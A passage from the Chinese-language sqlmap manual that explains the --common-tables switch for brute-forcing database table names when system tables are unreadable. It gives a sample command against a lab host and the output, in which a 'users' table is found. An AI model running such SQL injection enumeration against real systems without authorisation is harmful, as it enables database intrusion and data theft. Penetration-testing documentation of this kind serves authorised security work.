以下参数可用于暴力破解
3.10.1 暴力破解表名
开关 –common-tables
有些情况下,使用参数--tables
不能获取到数据库表,通常原因有如下几类:
- 数据库管理系统是MySQL<5.0,此时
information_schema
不可用 - 数据库系统是Microsoft Access,默认设置系统表
MSysObjects
不可读 - 当前用户没有权限读取系统表
对于前两种情况,sqlmap有可能会识别出现有的表并且会提示你是否使用--common-table
选项。
爆破表位于是txt/common-tables.txt
,你可以自行编辑。
针对MySQL 4.1目标的示例:
python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
结果:
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
3.10.2 暴力破解列名
爆破表位于txt/common-columns.txt
,你可根据需要修改。